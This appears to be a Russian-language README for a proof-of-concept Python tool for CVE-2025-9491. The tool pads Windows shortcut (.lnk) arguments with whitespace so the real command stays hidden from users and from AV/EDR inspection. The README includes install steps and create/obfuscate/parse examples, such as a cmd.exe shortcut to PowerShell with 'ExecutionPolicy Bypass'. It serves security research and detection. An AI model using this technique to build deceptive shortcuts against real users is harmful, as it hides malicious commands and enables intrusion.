
Доказательство концепции уязвимости CVE-2025-9491 с использованием невидимых символов в аргументах файла ярлыка Windows (.lnk)
Инструмент доказательства концепции для демонстрации уязвимости файлов ярлыков Windows (LNK) (ZDI-CAN-25373 / CVE-2025-9491). Этот инструмент показывает, как вредоносные аргументы командной строки могут быть скрыты внутри файлов .lnk с помощью дополнения пробельными символами.
**Данный инструмент предоставляется только в образовательных целях и для авторизованного тестирования безопасности. Несанкционированный доступ к компьютерным системам является незаконным. Используйте этот инструмент только на системах, которыми вы владеете или на которые имеете явное разрешение для тестирования.
Это инструмент доказательства концепции для создания и манипуляции файлами Windows .lnk (ярлыков) с целью демонстрации уязвимости CVE-2025-9491. Инструмент позволяет пользователям:
Уязвимость использует то, как Windows отображает свойства файлов ярлыков, что позволяет злоумышленникам скрывать вредоносные аргументы командной строки от пользователей, проверяющих ярлык.
CVE-2025-9491 — это уязвимость искажения пользовательского интерфейса Windows, затрагивающая файлы .lnk (ярлыков). Она была обнаружена инициативой Zero Day Initiative компании Trend Micro (ZDI-CAN-25373) и эксплуатировалась государственными APT-группами как минимум с 2017 года (дополнительные сведения см. в разделе Благодарности).
Уязвимость использует поле «Цель» фиксированного размера в пользовательском интерфейсе ярлыков Windows. Добавляя к аргументам пробельные символы (пробел, табуляция, перевод строки, возврат каретки), злоумышленник может: скрыть вредоносные команды и выполнить скрытые полезные нагрузки. Это также может использоваться для обхода обнаружения, так как пользователи, проверяющие ярлык, видят только добавленные пробелы, а не реальную команду; EDR будет иметь чрезвычайно длинную командную строку в телеметрии, и если она достаточно длинная, обычные EPP или AV перестанут её полностью считывать.
Требуется Python 3.7 или выше.
Клонируйте или скачайте репозиторий:
git clone https://github.com/amperlcock/CVE-2025-9491_POC.git
cd CVE-2025-9491_POC
Установите зависимости:
Быстрый и грязный способ, предпочтительна виртуальная среда.
pip install -r requirements.txt
Запустите инструмент:
python main.py --help
Инструмент имеет три основных режима: create (создание), obfuscate (обфускация) и parse (разбор).
Создать новый обфусцированный LNK-файл с нуля.
Синтаксис:
python main.py create -t ЦЕЛЬ -a АРГУМЕНТЫ -o ВЫХОД [опции]
Обязательные аргументы:
-t, --target — путь к целевому исполняемому файлу-a, --arguments — аргументы, передаваемые целевому исполняемому файлу-o, --output — путь к выходному LNK-файлуНеобязательные аргументы:
-c, --charset — пользовательская кодировка для дополнения (в HEX-формате)
20,09,0A,0B,0C,0D (пробел, табуляция, LF, VT, FF, CR)-s, --padding_size — количество символов дополнения
128 (нет известного ограничения)-p, --pattern_type — стиль шаблона дополнения
-i, --icon — путь к пользовательской иконке для ярлыка
-d, --description — видимое описание для ярлыка
-v, --verbose — включить подробный вывод
Пример:
python main.py create -t C:\Windows\System32\cmd.exe -a "/c whoami" -o output.lnk -s 256 -v
Добавить дополнение к аргументам существующего LNK-файла.
Синтаксис:
python main.py obfuscate -i ВХОД -o ВЫХОД [опции]
Обязательные аргументы:
-i, --input — путь к существующему LNK-файлу для обфускации-o, --output — путь к выходному LNK-файлуНеобязательные аргументы:
-c, --charset — пользовательская кодировка для дополнения (в HEX-формате)
20,09,0A,0B,0C,0D-s, --padding_size — количество символов дополнения
128-p, --pattern_type — стиль шаблона дополнения
-v, --verbose — включить подробный вывод
Пример:
python main.py obfuscate -i benign.lnk -o obfuscated.lnk -s 256 -p 3 -v
Отобразить содержимое существующего LNK-файла.
Синтаксис:
python main.py parse -i ВХОД
Обязательные аргументы:
-i, --input — путь к LNK-файлу для разбора и отображенияПример:
python main.py parse -i output.lnk
python main.py create \
-t "cmd.exe" \
-a "/c powershell -Command Get-Process" \
-o malicious.lnk \
-s 200 \
-p 1 \
-v
Это создаёт ярлык к cmd.exe со скрытой командой PowerShell, перед которой добавлено 200 случайных символов дополнения.
python main.py obfuscate \
-i "legitimate.lnk" \
-o "obfuscated.lnk" \
-s 512 \
-c "20,09,0A" \
-p 2
Это добавляет 512 символов моношаблонного дополнения (с использованием пробела и табуляции) к существующему ярлыку.
python main.py parse -i "suspicious.lnk"
Вывод показывает все свойства, включая скрытые аргументы.
python main.py create \
-t "powershell.exe" \
-a "-NoProfile -ExecutionPolicy Bypass -Command 'Get-ChildItem'" \
-o output.lnk \
-c "20,09,0A,0B,0C,0D" \
-s 1024 \
-p 3 \
-d "My Document"